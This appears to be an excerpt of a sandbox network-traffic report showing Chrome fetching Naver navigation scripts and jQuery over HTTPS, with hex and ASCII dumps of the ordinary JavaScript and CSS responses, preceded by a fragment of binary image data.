ImageReadyqe<IDATxVm@dT?LdRA\.$g~{J}\|clwMK9k'c$\|hX_)X9\|K*d\&kx-k+-{q<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	60493	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:04 UTC	381	OUT	GET /template/gnb_utf8.nhn?2021.%208.%2026 HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	284	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:04 GMT Content-Length: 136359 Connection: close Last-Modified: Tue, 7 Jan 2025 06:06:54 GMT Expires: Wed, 15 Jan 2025 07:13:04 GMT Cache-Control: max-age=86400 Content-Type: application/x-javascript; charset=utf-8
2025-01-14 07:13:04 UTC	16100	IN	Data Raw: 0d 0a 76 61 72 20 67 6e 62 5f 64 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 0d 0a 0d 0a 76 61 72 20 67 6e 62 53 76 63 73 20 3d 20 7b 0d 0a 09 22 73 76 63 5f 6c 73 74 31 22 20 3a 20 5b 7b 22 69 64 22 3a 22 67 61 6d 65 22 2c 22 6e 61 6d 65 22 3a 22 ea b2 8c ec 9e 84 22 2c 22 73 6e 61 6d 65 22 3a 22 ea b2 8c ec 9e 84 22 2c 22 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 2f 2f 67 61 6d 65 2e 6e 61 76 65 72 2e 63 6f 6d 2f 22 7d 2c 0d 0a 09 09 7b 22 69 64 22 3a 22 77 65 61 74 68 65 72 22 2c 22 6e 61 6d 65 22 3a 22 eb 82 a0 ec 94 a8 22 2c 22 73 6e 61 6d 65 22 3a 22 eb 82 a0 ec 94 a8 22 2c 22 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 61 74 68 65 72 2e 6e 61 76 65 72 2e 63 6f 6d 2f 22 7d 2c 0d 0a 09 09 7b 22 69 64 22 3a 22 73 68 6f 70 70 69 6e 67 22 2c Data Ascii: var gnb_date = new Date();var gnbSvcs = {"svc_lst1" : [{"id":"game","name":"","sname":"","link":"https://game.naver.com/"},{"id":"weather","name":"","sname":"","link":"https://weather.naver.com/"},{"id":"shopping",
2025-01-14 07:13:04 UTC	16384	IN	Data Raw: 2b 20 22 5c 22 3e 22 20 2b 20 73 65 72 76 69 63 65 4c 69 73 74 5b 69 5d 2e 6e 61 6d 65 20 2b 20 22 3c 65 6d 20 63 6c 61 73 73 3d 5c 22 69 63 5f 67 6e 62 5f 6e 65 77 5c 22 3e 4e 65 77 3c 2f 65 6d 3e 3c 2f 6c 61 62 65 6c 3e 3c 2f 6c 69 3e 22 29 3b 0d 0a 20 09 09 09 7d 20 65 6c 73 65 7b 0d 0a 20 09 09 09 09 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 6c 69 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 5c 22 63 68 65 63 6b 62 6f 78 5c 22 20 69 64 3d 5c 22 6e 73 76 63 5f 22 20 2b 20 73 65 72 76 69 63 65 4c 69 73 74 5b 69 5d 2e 69 64 20 2b 20 22 5c 22 20 6e 61 6d 65 3d 5c 22 73 65 6c 6d 65 6e 75 5c 22 20 63 6c 61 73 73 3d 5c 22 67 6e 62 5f 69 6e 70 75 74 5f 63 68 65 63 6b 5c 22 20 76 61 6c 75 65 3d 5c 22 5c 22 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 5c 22 Data Ascii: + "\">" + serviceList[i].name + "<em class=\"ic_gnb_new\">New</em></label></li>"); } else{ html_buffer.push("<li><input type=\"checkbox\" id=\"nsvc_" + serviceList[i].id + "\" name=\"selmenu\" class=\"gnb_input_check\" value=\"\"> <label for=\"
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 66 65 72 2e 70 75 73 68 28 22 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 2e 6e 61 76 65 72 2e 63 6f 6d 5c 22 3e ec b1 85 3c 2f 61 3e 3c 2f 6c 69 3e 22 29 3b 0d 0a 67 6e 62 5f 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 2f 75 6c 3e 22 29 3b 0d 0a 67 6e 62 5f 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 75 6c 20 63 6c 61 73 73 3d 5c 22 67 6e 62 5f 73 65 61 72 63 68 5f 6c 73 74 5c 22 3e 22 29 3b 0d 0a 67 6e 62 5f 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 6c 69 20 63 6c 61 73 73 3d 5c 22 67 6e 62 5f 66 69 72 73 74 5c 22 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 68 6f 70 70 69 6e 67 2e 6e 61 76 65 72 2e 63 6f 6d 2f 6e 73 2f 68 6f 6d 65 5c 22 3e ec 8a a4 ed 86 a0 ec 96 Data Ascii: fer.push("<li><a href=\"https://book.naver.com\"></a></li>");gnb_html_buffer.push("</ul>");gnb_html_buffer.push("<ul class=\"gnb_search_lst\">");gnb_html_buffer.push("<li class=\"gnb_first\"><a href=\"https://shopping.naver.com/ns/home\">
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 6c 2e 70 73 74 61 74 69 63 2e 6e 65 74 2f 73 74 61 74 69 63 2f 63 6f 6d 6d 6f 6e 2f 67 6e 62 2f 62 61 6e 6e 65 72 2f 70 72 6f 6d 6f 5f 6d 65 6d 62 65 72 73 68 69 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 36 31 70 78 20 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 7d 22 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 23 67 6e 62 20 2e 67 6e 62 5f 6d 79 5f 6c 69 20 2e 67 6e 62 5f 6d 79 5f 63 6f 6d 6d 75 6e 69 74 79 20 61 3a 61 63 74 69 76 65 2c 20 23 67 6e 62 20 2e 67 6e 62 5f 6d 79 5f 6c 69 20 2e 67 6e 62 5f 6d 79 5f 63 6f 6d 6d 75 6e 69 74 79 20 61 3a Data Ascii: l.pstatic.net/static/common/gnb/banner/promo_membership.png) no-repeat !important;background-size: 61px 20px !important;font-size: 0;line-height: 0;}");gnb_css_buffer.push("#gnb .gnb_my_li .gnb_my_community a:active, #gnb .gnb_my_li .gnb_my_community a:
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 31 35 70 78 20 30 70 78 3b 6d 61 72 67 69 6e 3a 32 70 78 20 30 20 30 20 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 22 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 30 5c 5c 30 29 20 7b 20 2e 67 6e 62 5f 73 76 63 5f 6d 6f 72 65 20 2e 67 6e 62 5f 73 76 63 5f 6c 73 74 77 72 70 20 6c 69 2e 67 6e 62 5f 65 76 65 6e 74 20 65 6d 2e 69 63 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 70 78 7d 20 7d 22 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 2e 67 6e 62 5f 73 76 63 5f 6d 6f 72 65 Data Ascii: d-position:-215px 0px;margin:2px 0 0 4px;font-size:0;line-height:0;vertical-align:top}");gnb_css_buffer.push("@media screen and (min-width: 0\\0) { .gnb_svc_more .gnb_svc_lstwrp li.gnb_event em.ic{margin-top:3px} }");gnb_css_buffer.push(".gnb_svc_more
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 23 67 6e 62 2e 67 6e 62 5f 6f 6e 65 5f 66 6c 61 74 20 2e 6d 61 69 6c 5f 6c 69 20 61 2e 67 6e 62 5f 6d 61 69 6c 3a 68 6f 76 65 72 20 2e 67 6e 62 5f 69 63 6f 6e 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 70 73 74 61 74 69 63 2e 6e 65 74 2f 73 74 61 74 69 63 2f 63 6f 6d 6d 6f 6e 2f 67 6e 62 2f 6f 6e 65 2f 73 70 5f 67 6e 62 5f 34 62 31 36 65 36 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 70 78 20 2d 34 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 77 69 64 74 68 3a 20 32 30 70 78 3b 68 65 69 67 68 74 3a 20 31 36 70 78 3b 76 65 72 Data Ascii: );gnb_css_buffer.push("#gnb.gnb_one_flat .mail_li a.gnb_mail:hover .gnb_icon {background-image: url(https://ssl.pstatic.net/static/common/gnb/one/sp_gnb_4b16e6.png);background-position: 0px -42px;background-repeat: no-repeat;width: 20px;height: 16px;ver
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 20 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 6e 62 52 65 6d 6f 76 65 43 6c 61 73 73 4e 61 6d 65 28 65 6c 65 6d 65 6e 74 2c 20 63 6c 73 4e 61 6d 65 29 20 7b 0d 0a 09 69 66 20 28 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 20 2b 20 63 6c 73 4e 61 6d 65 29 20 21 3d 20 2d 31 29 20 7b 0d 0a 09 09 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 2e 72 65 70 6c 61 63 65 28 22 20 22 20 2b 20 63 6c 73 4e 61 6d 65 2c 20 22 22 29 3b 0d 0a 09 7d 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 6e 62 53 68 6f 72 74 4e 69 63 6b 28 6e 69 63 6b 4e 61 6d 65 2c 20 6e 75 6d 29 7b 0d 0a 09 69 66 20 28 Data Ascii: element.className);}function gnbRemoveClassName(element, clsName) {if (element.className.indexOf(" " + clsName) != -1) {element.className = element.className.replace(" " + clsName, "");};}function gnbShortNick(nickName, num){if (
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 0d 0a 09 09 09 09 6d 65 73 73 61 67 65 2e 6d 65 73 73 61 67 65 54 69 6d 65 4b 65 79 20 3d 20 64 72 61 77 4c 69 73 74 5b 69 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6d 65 73 73 61 67 65 74 69 6d 65 6b 65 79 22 29 3b 0d 0a 09 09 09 09 6d 65 73 73 61 67 65 2e 73 65 72 76 69 63 65 49 64 20 3d 20 64 72 61 77 4c 69 73 74 5b 69 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 65 72 76 69 63 65 69 64 22 29 3b 0d 0a 09 09 09 09 6d 65 73 73 61 67 65 2e 63 61 74 49 64 20 3d 20 64 72 61 77 4c 69 73 74 5b 69 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 61 74 69 64 22 29 3b 0d 0a 09 09 09 09 72 65 73 75 6c 74 2e 70 75 73 68 28 6d 65 73 73 61 67 65 29 3b 0d 0a 09 09 09 7d 3b 0d 0a 09 09 09 69 66 28 72 65 73 75 Data Ascii: message.messageTimeKey = drawList[i].getAttribute("data-messagetimekey");message.serviceId = drawList[i].getAttribute("data-serviceid");message.catId = drawList[i].getAttribute("data-catid");result.push(message);};if(resu
2025-01-14 07:13:05 UTC	5571	IN	Data Raw: 09 67 65 74 4d 69 6e 49 6e 64 65 78 41 72 72 20 3a 20 66 75 6e 63 74 69 6f 6e 28 61 72 72 61 79 29 7b 0d 0a 09 09 09 76 61 72 20 74 65 6d 70 41 72 72 20 3d 20 5b 5d 3b 0d 0a 09 09 09 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 61 72 72 61 79 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 09 09 09 20 20 20 20 74 65 6d 70 41 72 72 2e 70 75 73 68 28 5b 61 72 72 61 79 5b 69 5d 2c 69 5d 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 09 74 65 6d 70 41 72 72 2e 73 6f 72 74 28 29 3b 0d 0a 09 09 09 76 61 72 20 69 6e 64 65 78 65 73 20 3d 20 5b 5d 3b 0d 0a 09 09 09 66 6f 72 20 28 76 61 72 20 6a 20 3d 20 30 3b 20 6a 20 3c 20 74 65 6d 70 41 72 72 2e 6c 65 6e 67 74 68 3b 20 6a 2b 2b 29 20 7b 0d 0a 09 09 09 20 20 20 20 69 6e 64 65 78 65 73 2e 70 75 73 68 28 74 Data Ascii: getMinIndexArr : function(array){var tempArr = [];for (var i = 0; i < array.length; i++) { tempArr.push([array[i],i]);}tempArr.sort();var indexes = [];for (var j = 0; j < tempArr.length; j++) { indexes.push(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	60500	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:04 UTC	367	OUT	GET /inc/common/js/jquery.resize.js HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:05 UTC	671	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:05 GMT content-type: application/javascript content-length: 5836 last-modified: Thu, 28 Nov 2024 01:46:08 GMT vary: Accept-Encoding etag: "6747cb60-16cc" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:05 UTC	5836	IN	Data Raw: 2f 2a 2a 0a 2a 20 44 65 74 65 63 74 20 45 6c 65 6d 65 6e 74 20 52 65 73 69 7a 65 20 50 6c 75 67 69 6e 20 66 6f 72 20 6a 51 75 65 72 79 0a 2a 0a 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 64 65 63 69 6d 61 2f 6a 61 76 61 73 63 72 69 70 74 2d 64 65 74 65 63 74 2d 65 6c 65 6d 65 6e 74 2d 72 65 73 69 7a 65 0a 2a 20 53 65 62 61 73 74 69 61 6e 20 44 65 63 69 6d 61 0a 2a 0a 2a 20 76 65 72 73 69 6f 6e 3a 20 30 2e 35 2e 33 0a 2a 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 20 28 20 24 20 29 20 7b 0a 09 76 61 72 20 61 74 74 61 63 68 45 76 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 2c 0a 09 09 73 74 79 6c 65 73 43 72 65 61 74 65 64 20 3d 20 66 61 6c 73 65 3b 0a 09 0a 09 76 61 72 20 6a 51 75 65 72 79 5f 72 65 73 69 Data Ascii: /* Detect Element Resize Plugin for jQuery https://github.com/sdecima/javascript-detect-element-resize* Sebastian Decima version: 0.5.3/(function ( $ ) {var attachEvent = document.attachEvent,stylesCreated = false;var jQuery_resi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	60499	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:04 UTC	364	OUT	GET /inc/common/js/jquery.min.js HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:05 UTC	673	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:05 GMT content-type: application/javascript content-length: 95825 last-modified: Thu, 28 Nov 2024 01:46:08 GMT vary: Accept-Encoding etag: "6747cb60-17651" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:05 UTC	7544	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 31 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 34 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 Data Ascii: /! jQuery v1.11.1 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a wi
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 20 62 5b 61 2e 73 68 69 66 74 28 29 5d 2c 62 5b 63 2b 22 20 22 5d 3d 65 7d 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 68 62 28 61 29 7b 72 65 74 75 72 6e 20 61 5b 75 5d 3d 21 30 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 69 62 28 61 29 7b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 61 28 62 29 7d 63 61 74 63 68 28 63 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 2c 62 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 62 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 73 70 6c 69 74 28 22 7c 22 29 2c 65 3d 61 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 Data Ascii: b[a.shift()],b[c+" "]=e}return b}function hb(a){return a[u]=!0,a}function ib(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function jb(a,b){var c=a.split("\|"),e=a.length;while
2025-01-14 07:13:05 UTC	8192	IN	Data Raw: 28 74 68 69 73 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 74 2e 74 65 73 74 28 61 29 3f 6d 28 61 29 3a 61 7c 7c 5b 5d 2c 21 31 29 2e 6c 65 6e 67 74 68 7d 7d 29 3b 76 61 72 20 78 2c 79 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 7a 3d 2f 5e 28 3f 3a 5c 73 2a 28 3c 5b 5c 77 5c 57 5d 2b 3e 29 5b 5e 3e 5d 2a 7c 23 28 5b 5c 77 2d 5d 2a 29 29 24 2f 2c 41 3d 6d 2e 66 6e 2e 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3b 69 66 28 21 61 29 72 65 74 75 72 6e 20 74 68 69 73 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 61 29 7b 69 66 28 63 3d 22 3c 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 26 26 22 3e 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 61 2e 6c 65 6e 67 74 68 2d 31 29 26 26 61 2e 6c 65 6e 67 74 68 Data Ascii: (this,"string"==typeof a&&t.test(a)?m(a):a\|\|[],!1).length}});var x,y=a.document,z=/^(?:\s(<[\w\W]+>)[^>]\|#([\w-]*))$/,A=m.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 78 70 61 6e 64 6f 2c 69 3d 61 2e 6e 6f 64 65 54 79 70 65 2c 6a 3d 69 3f 6d 2e 63 61 63 68 65 3a 61 2c 6b 3d 69 3f 61 5b 68 5d 3a 61 5b 68 5d 26 26 68 3b 0d 0a 69 66 28 6b 26 26 6a 5b 6b 5d 26 26 28 65 7c 7c 6a 5b 6b 5d 2e 64 61 74 61 29 7c 7c 76 6f 69 64 20 30 21 3d 3d 64 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 62 29 72 65 74 75 72 6e 20 6b 7c 7c 28 6b 3d 69 3f 61 5b 68 5d 3d 63 2e 70 6f 70 28 29 7c 7c 6d 2e 67 75 69 64 2b 2b 3a 68 29 2c 6a 5b 6b 5d 7c 7c 28 6a 5b 6b 5d 3d 69 3f 7b 7d 3a 7b 74 6f 4a 53 4f 4e 3a 6d 2e 6e 6f 6f 70 7d 29 2c 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 62 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 62 29 26 26 28 65 3f 6a 5b 6b 5d 3d 6d 2e 65 78 74 65 6e 64 28 6a 5b 6b 5d 2c 62 29 Data Ascii: xpando,i=a.nodeType,j=i?m.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e\|\|j[k].data)\|\|void 0!==d\|\|"string"!=typeof b)return k\|\|(k=i?a[h]=c.pop()\|\|m.guid++:h),j[k]\|\|(j[k]=i?{}:{toJSON:m.noop}),("object"==typeof b\|\|"function"==typeof b)&&(e?j[k]=m.extend(j[k],b)
2025-01-14 07:13:05 UTC	8192	IN	Data Raw: 64 3a 5b 31 2c 22 3c 74 61 62 6c 65 3e 22 2c 22 3c 2f 74 61 62 6c 65 3e 22 5d 2c 74 72 3a 5b 32 2c 22 3c 74 61 62 6c 65 3e 3c 74 62 6f 64 79 3e 22 2c 22 3c 2f 74 62 6f 64 79 3e 3c 2f 74 61 62 6c 65 3e 22 5d 2c 63 6f 6c 3a 5b 32 2c 22 3c 74 61 62 6c 65 3e 3c 74 62 6f 64 79 3e 3c 2f 74 62 6f 64 79 3e 3c 63 6f 6c 67 72 6f 75 70 3e 22 2c 22 3c 2f 63 6f 6c 67 72 6f 75 70 3e 3c 2f 74 61 62 6c 65 3e 22 5d 2c 74 64 3a 5b 33 2c 22 3c 74 61 62 6c 65 3e 3c 74 62 6f 64 79 3e 3c 74 72 3e 22 2c 22 3c 2f 74 72 3e 3c 2f 74 62 6f 64 79 3e 3c 2f 74 61 62 6c 65 3e 22 5d 2c 5f 64 65 66 61 75 6c 74 3a 6b 2e 68 74 6d 6c 53 65 72 69 61 6c 69 7a 65 3f 5b 30 2c 22 22 2c 22 22 5d 3a 5b 31 2c 22 58 3c 64 69 76 3e 22 2c 22 3c 2f 64 69 76 3e 22 5d 7d 2c 73 62 3d 64 62 28 79 29 2c 74 Data Ascii: d:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:k.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},sb=db(y),t
2025-01-14 07:13:05 UTC	16384	IN	Data Raw: 24 2f 3b 61 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3f 28 49 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 61 2c 6e 75 6c 6c 29 7d 2c 4a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 2c 66 2c 67 2c 68 3d 61 2e 73 74 79 6c 65 3b 72 65 74 75 72 6e 20 63 3d 63 7c 7c 49 62 28 61 29 2c 67 3d 63 3f 63 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 62 29 7c 7c 63 5b 62 5d 3a 76 6f 69 64 20 30 2c 63 26 26 28 22 22 21 3d 3d 67 7c 7c 6d 2e 63 6f 6e 74 61 69 6e 73 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 61 29 7c 7c 28 67 3d 6d 2e 73 74 79 6c 65 28 61 2c 62 29 Data Ascii: $/;a.getComputedStyle?(Ib=function(a){return a.ownerDocument.defaultView.getComputedStyle(a,null)},Jb=function(a,b,c){var d,e,f,g,h=a.style;return c=c\|\|Ib(a),g=c?c.getPropertyValue(b)\|\|c[b]:void 0,c&&(""!==g\|\|m.contains(a.ownerDocument,a)\|\|(g=m.style(a,b)
2025-01-14 07:13:06 UTC	16384	IN	Data Raw: 72 6e 20 6e 75 6c 6c 21 3d 62 3f 62 3a 6d 2e 74 72 69 6d 28 6d 2e 74 65 78 74 28 61 29 29 7d 7d 2c 73 65 6c 65 63 74 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 2c 63 2c 64 3d 61 2e 6f 70 74 69 6f 6e 73 2c 65 3d 61 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 66 3d 22 73 65 6c 65 63 74 2d 6f 6e 65 22 3d 3d 3d 61 2e 74 79 70 65 7c 7c 30 3e 65 2c 67 3d 66 3f 6e 75 6c 6c 3a 5b 5d 2c 68 3d 66 3f 65 2b 31 3a 64 2e 6c 65 6e 67 74 68 2c 69 3d 30 3e 65 3f 68 3a 66 3f 65 3a 30 3b 68 3e 69 3b 69 2b 2b 29 69 66 28 63 3d 64 5b 69 5d 2c 21 28 21 63 2e 73 65 6c 65 63 74 65 64 26 26 69 21 3d 3d 65 7c 7c 28 6b 2e 6f 70 74 44 69 73 61 62 6c 65 64 3f 63 2e 64 69 73 61 62 6c 65 64 3a 6e 75 6c 6c 21 3d 3d 63 2e 67 65 74 41 74 74 72 69 62 Data Ascii: rn null!=b?b:m.trim(m.text(a))}},select:{get:function(a){for(var 